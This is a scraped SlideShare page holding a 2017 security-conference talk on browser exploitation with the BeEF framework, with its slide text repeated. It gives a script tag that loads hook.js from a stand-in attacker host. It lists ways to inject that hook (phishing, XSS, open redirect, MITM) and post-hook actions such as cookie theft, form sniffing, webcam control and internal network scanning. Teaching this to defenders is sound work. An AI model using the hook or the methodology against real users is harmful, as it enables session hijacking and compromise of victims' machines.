SlideShare a Scribd company logo
Man In The Browser
Advanced Client-Side Exploitation with BeEF
1N3 | @CrowdShield | https://crowdshield.com
ISSA Phoenix Chapter, 04/11/2017
Introduction
• Sr. Penetration Tester at Early Warning
• 16+ years of IT experience with a heavy focus on IT Security
• Symantec/NYS Cyber Security Agency, nCircle/Tripwire, General Electric
• Degree in Computer Science
• OSCP, ASFP, CISSP, PCI-ASV, Security+, Network+, A+, MCP, CNA
• Bug Bounty Researcher on BugCrowd and HackerOne
• Founder of CrowdShield (@CrowdShield) https://crowdshield.com
Overview
• What is BeEF?
• Getting started
• Browser hooking
• Attack vectors/exploits & examples
• Demo
• Q & A
What is BeEF?
• Short for “Browser Exploitation Framework”
• At a basic level, it allows an attacker to control a victims browser
• Similar to Metasploit (modular exploit framework) but for
exploiting browsers
• Can be used to leverage existing vulnerabilities (XSS, CSRF,
etc.)
• In some cases, it can lead to full compromise of the victims PC
Getting Started
• Installed by default on Kali Linux
• Can also be downloaded from http://beefproject.com/
• App directory /usr/share/beef-xss/
• Startup script /etc/init.d/beef-xss <start|stop>
• Web UI http://localhost:3000/ui/panel/
• Default user/pass: beef/beef
Logging In…
Hooking Browsers
• Must be able to inject Javascript in target’s browser
• <script src=“http://attackerip:3000/hook.js”></script>
• Uses XHR (mostly transparent) polling to
communicate with BeEF server
XHR Polling
Fundamentals
• Cross-Site Scripting (XSS) allows arbitrary execution of client side code
(ie. Javascript/HTML, etc.). Usually used by attackers to steal session cookies…
• Cross-Site Request Forgery (CSRF) allows an attacker to initiate
requests on behalf of other users (ie. Submitting a form to transfer funds $1,000
to an attackers account, etc.)
Attack Vectors
• Social Engineering/Phishing - Lure or convince victim to
attacker controlled server hosting BeeF
• Open Redirect - Redirect victims automatically to attacker
controlled server hosting BeeF
• Reflected XSS - Send victim a URL that executes hook.js
script
• Stored XSS - Embed hook.js script via a stored XSS vector
• Man-In-The-Middle Attacks - Injecting BeEF hook via MITM
Social Engineering
Toolkit
• Customized payload generation
• Website Cloning
• Email Template Generation
• Mass Email Capabilities
Phishing &
Social Engineering
It only takes one wrong click…
Open Redirect
XSS Hooking
BeeF hook.js injected via URL
URL Obfuscation
Payloads and phishing links can be obfuscated and shortened
using URL shorteners… (example: https://goo.gl/ZncYoc)
Stored XSS
A single stored XSS flaw can yield many hooked clients
depending on the size and use of the site…
Man-In-The-Middle
Injects a small hook.js into every web request intercepted.
Can also be done using DNS spoofing as well…
Web UI
Tracks client connections (ie. hooked browsers) and
allows an attacker to run modules
• Gather intel on target system/browser
• Retrieve session cookies
• Redirect target to malicious URL’s
• Change site content
• Form field sniffing
• Embed hidden iframes
• Alter original page content (HTML/JS)
• Scan internal network (ping/port scans)
• Launch CSRF attacks
• Execute client-side exploits/code (BeeF/Metasploit/SET)
BeeF Attacks
BeEF Modules
BeEF Basics
Browser Hacking
Methodology
• Gaining control
• Fingerprinting
• Retain control
• Bypassing SOP
• Attacking users
• Attacking extensions
• Attacking web applications
• Attacking browsers
• Attacking plugins
• Attacking networks
Fingerprinting
REQ-PEN-1234
Advanced Client Side Exploitation Using BeEF
Retain Control
Attacking Users
Session Hijacking
Form Sniffing
Webcam Control
Client-Side Request Forgery
• Can be used to make internal or external requests from the victim’s PC
• Depending on severity, could allow an attacker to automatically transfer
funds or reset a users passwords, etc…
CSRF Exploits
Tunneling Proxy
Internal Network Mapping
Integration
• Execute Metasploit exploits directly through BeeF’s
web UI…
• Get Metasploit DB user/pass:
msfconsole -x ‘load msgrpc;’
• Update Config with MSF DB user/pass:
/usr/share/beef-xss/extensions/metasploit/config.yml
• Enable the Metasploit module in BeeF config:
/usr/share/beef-xss/config.yml
Exploits…
Exploiting Browsers Using Java
Automating Modules
By editing autorun.rb, we can automatically load
specific modules and set options whenever a new
BeEF hook connects
Demo
Recommended Reading
Questions?

More Related Content

PDF
Client-Side Penetration Testing Presentation
PPTX
Malware- Types, Detection and Future
PPTX
Spyware and rootkit
PDF
The Same-Origin Policy
PDF
Cross site scripting attacks and defenses
PPTX
Brute force-attack presentation
PPTX
Cross-Site Scripting (XSS)
PPT
Client-Side Penetration Testing Presentation
Malware- Types, Detection and Future
Spyware and rootkit
The Same-Origin Policy
Cross site scripting attacks and defenses
Brute force-attack presentation
Cross-Site Scripting (XSS)

What's hot (20)

PPTX
Cross Site Scripting ( XSS)
PPTX
Introduction to cyber security
PPTX
PPTX
Burp Suite Starter
PDF
Burp suite
PPT
Introduction To OWASP
PPTX
List of Malwares
PPTX
Ethical Hacking n VAPT presentation by Suvrat jain
PPTX
cyber security
PPTX
Buffer overflow explained
PPTX
Ransomware attack
PPT
Malware
PPTX
Types of cyber attacks
PDF
Addressing the cyber kill chain
PDF
Network Security Presentation
PPTX
Cross site scripting
PPTX
DDoS - Distributed Denial of Service
PPTX
PPTX
Cyber Security(Password Cracking Presentation).pptx
Cross Site Scripting ( XSS)
Introduction to cyber security
Burp Suite Starter
Burp suite
Introduction To OWASP
List of Malwares
Ethical Hacking n VAPT presentation by Suvrat jain
cyber security
Buffer overflow explained
Ransomware attack
Malware
Types of cyber attacks
Addressing the cyber kill chain
Network Security Presentation
Cross site scripting
DDoS - Distributed Denial of Service
Cyber Security(Password Cracking Presentation).pptx
Ad

Similar to Advanced Client Side Exploitation Using BeEF (20)

PPTX
Beef saurabh
PDF
Secure Form Processing and Protection - Sunshine PHP 2015
PPTX
WEB APPLICATION SECURITY
PPTX
Web application security
PPTX
Browser Security 101
PPTX
Lesson 6 web based attacks
PPTX
Website hacking and prevention (All Tools,Topics & Technique )
PPTX
Owasp web application security trends
PPTX
[2.1] Web application Security Trends - Omar Ganiev
PPTX
WEB APPLICATION SECURITY
PDF
Blackhat11 shreeraj reverse_engineering_browser
PPTX
Hacking WebApps for fun and profit : how to approach a target?
PPT
Internet Security
KEY
Cross Site Scripting - Mozilla Security Learning Center
PPTX
webapplicationattacks-101005070110-phpapp02.pptx
PDF
Secure Coding BSSN Semarang Material.pdf
PPTX
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
PDF
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
PDF
Ceh v5 module 12 web application vulnerabilities
PPTX
Play,Learn and Hack- CTF Training
Beef saurabh
Secure Form Processing and Protection - Sunshine PHP 2015
WEB APPLICATION SECURITY
Web application security
Browser Security 101
Lesson 6 web based attacks
Website hacking and prevention (All Tools,Topics & Technique )
Owasp web application security trends
[2.1] Web application Security Trends - Omar Ganiev
WEB APPLICATION SECURITY
Blackhat11 shreeraj reverse_engineering_browser
Hacking WebApps for fun and profit : how to approach a target?
Internet Security
Cross Site Scripting - Mozilla Security Learning Center
webapplicationattacks-101005070110-phpapp02.pptx
Secure Coding BSSN Semarang Material.pdf
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
Ceh v5 module 12 web application vulnerabilities
Play,Learn and Hack- CTF Training
Ad

Recently uploaded (20)

PDF
Assigned Numbers - 2025 - Bluetooth® Document
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PPTX
Programs and apps: productivity, graphics, security and other tools
PDF
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PDF
Machine learning based COVID-19 study performance prediction
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PDF
MIND Revenue Release Quarter 2 2025 Press Release
PDF
A comparative analysis of optical character recognition models for extracting...
PPTX
Big Data Technologies - Introduction.pptx
PPT
Teaching material agriculture food technology
PDF
Network Security Unit 5.pdf for BCA BBA.
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PDF
Review of recent advances in non-invasive hemoglobin estimation
PPTX
Spectroscopy.pptx food analysis technology
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
Unlocking AI with Model Context Protocol (MCP)
PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
DOCX
The AUB Centre for AI in Media Proposal.docx
Assigned Numbers - 2025 - Bluetooth® Document
Digital-Transformation-Roadmap-for-Companies.pptx
Programs and apps: productivity, graphics, security and other tools
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
Chapter 3 Spatial Domain Image Processing.pdf
Machine learning based COVID-19 study performance prediction
Dropbox Q2 2025 Financial Results & Investor Presentation
MIND Revenue Release Quarter 2 2025 Press Release
A comparative analysis of optical character recognition models for extracting...
Big Data Technologies - Introduction.pptx
Teaching material agriculture food technology
Network Security Unit 5.pdf for BCA BBA.
Advanced methodologies resolving dimensionality complications for autism neur...
Review of recent advances in non-invasive hemoglobin estimation
Spectroscopy.pptx food analysis technology
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
Building Integrated photovoltaic BIPV_UPV.pdf
Unlocking AI with Model Context Protocol (MCP)
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
The AUB Centre for AI in Media Proposal.docx

Advanced Client Side Exploitation Using BeEF

  • 1. Man In The Browser Advanced Client-Side Exploitation with BeEF 1N3 | @CrowdShield | https://crowdshield.com ISSA Phoenix Chapter, 04/11/2017
  • 2. Introduction • Sr. Penetration Tester at Early Warning • 16+ years of IT experience with a heavy focus on IT Security • Symantec/NYS Cyber Security Agency, nCircle/Tripwire, General Electric • Degree in Computer Science • OSCP, ASFP, CISSP, PCI-ASV, Security+, Network+, A+, MCP, CNA • Bug Bounty Researcher on BugCrowd and HackerOne • Founder of CrowdShield (@CrowdShield) https://crowdshield.com
  • 3. Overview • What is BeEF? • Getting started • Browser hooking • Attack vectors/exploits & examples • Demo • Q & A
  • 4. What is BeEF? • Short for “Browser Exploitation Framework” • At a basic level, it allows an attacker to control a victims browser • Similar to Metasploit (modular exploit framework) but for exploiting browsers • Can be used to leverage existing vulnerabilities (XSS, CSRF, etc.) • In some cases, it can lead to full compromise of the victims PC
  • 5. Getting Started • Installed by default on Kali Linux • Can also be downloaded from http://beefproject.com/ • App directory /usr/share/beef-xss/ • Startup script /etc/init.d/beef-xss <start|stop> • Web UI http://localhost:3000/ui/panel/ • Default user/pass: beef/beef
  • 7. Hooking Browsers • Must be able to inject Javascript in target’s browser • <script src=“http://attackerip:3000/hook.js”></script> • Uses XHR (mostly transparent) polling to communicate with BeEF server
  • 9. Fundamentals • Cross-Site Scripting (XSS) allows arbitrary execution of client side code (ie. Javascript/HTML, etc.). Usually used by attackers to steal session cookies… • Cross-Site Request Forgery (CSRF) allows an attacker to initiate requests on behalf of other users (ie. Submitting a form to transfer funds $1,000 to an attackers account, etc.)
  • 10. Attack Vectors • Social Engineering/Phishing - Lure or convince victim to attacker controlled server hosting BeeF • Open Redirect - Redirect victims automatically to attacker controlled server hosting BeeF • Reflected XSS - Send victim a URL that executes hook.js script • Stored XSS - Embed hook.js script via a stored XSS vector • Man-In-The-Middle Attacks - Injecting BeEF hook via MITM
  • 11. Social Engineering Toolkit • Customized payload generation • Website Cloning • Email Template Generation • Mass Email Capabilities
  • 12. Phishing & Social Engineering It only takes one wrong click…
  • 14. XSS Hooking BeeF hook.js injected via URL
  • 15. URL Obfuscation Payloads and phishing links can be obfuscated and shortened using URL shorteners… (example: https://goo.gl/ZncYoc)
  • 16. Stored XSS A single stored XSS flaw can yield many hooked clients depending on the size and use of the site…
  • 17. Man-In-The-Middle Injects a small hook.js into every web request intercepted. Can also be done using DNS spoofing as well…
  • 18. Web UI Tracks client connections (ie. hooked browsers) and allows an attacker to run modules
  • 19. • Gather intel on target system/browser • Retrieve session cookies • Redirect target to malicious URL’s • Change site content • Form field sniffing • Embed hidden iframes • Alter original page content (HTML/JS) • Scan internal network (ping/port scans) • Launch CSRF attacks • Execute client-side exploits/code (BeeF/Metasploit/SET) BeeF Attacks
  • 22. Browser Hacking Methodology • Gaining control • Fingerprinting • Retain control • Bypassing SOP • Attacking users • Attacking extensions • Attacking web applications • Attacking browsers • Attacking plugins • Attacking networks
  • 29. Client-Side Request Forgery • Can be used to make internal or external requests from the victim’s PC • Depending on severity, could allow an attacker to automatically transfer funds or reset a users passwords, etc…
  • 33. Integration • Execute Metasploit exploits directly through BeeF’s web UI… • Get Metasploit DB user/pass: msfconsole -x ‘load msgrpc;’ • Update Config with MSF DB user/pass: /usr/share/beef-xss/extensions/metasploit/config.yml • Enable the Metasploit module in BeeF config: /usr/share/beef-xss/config.yml
  • 36. Automating Modules By editing autorun.rb, we can automatically load specific modules and set options whenever a new BeEF hook connects
  • 37. Demo